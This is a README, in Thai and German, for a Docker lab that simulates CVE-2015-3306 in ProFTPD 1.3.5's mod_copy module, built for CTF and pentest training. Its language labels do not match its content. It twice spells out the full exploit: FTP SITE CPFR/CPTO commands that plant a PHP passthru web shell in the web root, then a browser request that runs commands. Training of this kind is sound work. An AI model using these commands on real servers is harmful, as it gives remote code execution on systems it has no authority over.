ENGLISH BELOW

ProFTPD 1.3.5 (mod_copy) — RCE Simulationslabor

Lab นี้ถูกออกแบบเพื่อจำลองช่องโหว่ CVE-2015-3306 — ProFTPD mod_copy Remote File Copy to RCE
ใช้สำหรับเรียนรู้ Web Shell Injection RCE ผ่านโมดูล mod_copy ของ ProFTPD

---

Funktionen

• ProFTPD 1.3.5 แบบ Vulnerable
• เปิดใช้ mod_copy เต็มรูปแบบ (SITE CPFR / SITE CPTO)
• รองรับ Anonymous FTP
• Apache2 + PHP5 สำหรับจำลอง web root /var/www/html
• ผู้โจมตีสามารถใช้ SITE CPFR/CPTO เพื่อ copy file ไปยัง webroot เพื่อที่จะ trigger RCE
• ระบบสร้าง flag_RANDOM.txt อัตโนมัติทุกครั้งที่ container start
• เป็น Lab สำหรับ CTF / Red Team / Pentest Training

---

Verzeichnisstruktur

/etc/proftpd/proftpd.conf
/usr/local/proftpd/
/var/www/html/
/tmp/flag_xxx.txt
/entrypoint.sh

---

Verwendung (Container starten)

docker build -t sentinel7-proftpd-lab .
docker run -it --rm -p 21:21 -p 80:80 sentinel7-proftpd-lab

---

So testen Sie die Schwachstelle CVE-2015-3306

nc <IP> 21
SITE CPFR /proc/self/cmdline
SITE CPTO /tmp/<?php echo passthru($_GET['cmd']); ?>

SITE CPFR /tmp/<?php echo passthru($_GET['cmd']); ?>
SITE CPTO /var/www/html/webshell.php

Im Browser öffnen:

http://<IP>/webshell.php?cmd=<command>

---

Flag

Gespeichert unter:

/tmp/flag_RANDOM.txt

---

Deutsche Version — ProFTPD 1.3.5 (mod_copy) RCE Labor

Dieses Labor simuliert CVE-2015-3306 mit ProFTPD 1.3.5 und mod_copy, was Angreifern ermöglicht, eine ProFTPD mod_copy Remote File Copy to RCE durchzuführen.

---

Funktionen

• Angreifbare ProFTPD 1.3.5 aus dem Quellcode kompiliert
• mod_copy aktiviert (SITE CPFR + SITE CPTO)
• Anonymer FTP-Zugriff
• Apache2 + PHP5 zur Ausführung von Webshells
• Automatisch generierte flag_RANDOM.txt beim Container-Start
• Ideal für CTF, Ausbildung und Exploit-Forschung

---

Beispiel für den Exploit-Test

nc <IP> 21
SITE CPFR /proc/self/cmdline
SITE CPTO /tmp/<?php echo passthru($_GET['cmd']); ?>

SITE CPFR /tmp/<?php echo passthru($_GET['cmd']); ?>
SITE CPTO /var/www/html/webshell.php

Dann ausführen:

http://<IP>/webshell.php?cmd=<command>

---

Flag-Position

/tmp/flag_RANDOM.txt

---

Haftungsausschluss

Nur für Bildungszwecke und autorisierte Penetrationstests.